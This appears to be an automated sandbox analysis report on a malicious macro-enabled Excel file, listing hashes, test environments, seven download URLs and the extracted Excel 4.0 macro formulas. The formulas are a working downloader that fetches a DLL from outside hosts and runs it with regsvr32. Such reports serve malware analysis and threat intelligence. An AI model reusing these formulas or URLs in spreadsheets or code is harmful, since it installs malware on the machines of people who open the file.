General
-
Target
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab
-
Size
49KB
-
Sample
241111-w3zljawqcr
-
MD5
3bec766d56d150577c797d1c635c44b2
-
SHA1
c7cb93852020ce8a7e4bc48778d23363050fb101
-
SHA256
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab
-
SHA512
47025d537e54a8d668fe5a7e36a339a3f65604b2ecc8ec38b0ffaf59ce4eb1d6f72414de5c79279fd448b9de6a9e66a9cb123cffb4f49b019f5034713721d078
-
SSDEEP
1536:kAcEOt24xZdRBzH9hJBrdEwwNXekVIe260:NcEc2Kd3zdtdEwoB2t
Behavioral task
behavioral1
Sample
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://alinatourbg.com/mail/TBCGVNzLeENXb/
http://alinac.ca/images/Lp6yKpIpRf6/
http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/
http://amakpost.com/assets/c8AT1uoCVLSxez/
http://alsanjari.co.uk/alsanjari.com/CynW/
http://alicehui.com/pics/fETgjDyPfUBQp/
http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alinatourbg.com/mail/TBCGVNzLeENXb/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alinac.ca/images/Lp6yKpIpRf6/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/c8AT1uoCVLSxez/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alsanjari.co.uk/alsanjari.com/CynW/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alicehui.com/pics/fETgjDyPfUBQp/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://alinatourbg.com/mail/TBCGVNzLeENXb/
http://alinac.ca/images/Lp6yKpIpRf6/
http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/
http://amakpost.com/assets/c8AT1uoCVLSxez/
http://alsanjari.co.uk/alsanjari.com/CynW/
http://alicehui.com/pics/fETgjDyPfUBQp/
http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/
Targets
-
-
Target
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab
-
Size
49KB
-
MD5
3bec766d56d150577c797d1c635c44b2
-
SHA1
c7cb93852020ce8a7e4bc48778d23363050fb101
-
SHA256
8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab
-
SHA512
47025d537e54a8d668fe5a7e36a339a3f65604b2ecc8ec38b0ffaf59ce4eb1d6f72414de5c79279fd448b9de6a9e66a9cb123cffb4f49b019f5034713721d078
-
SSDEEP
1536:kAcEOt24xZdRBzH9hJBrdEwwNXekVIe260:NcEc2Kd3zdtdEwoB2t
Score10/10 -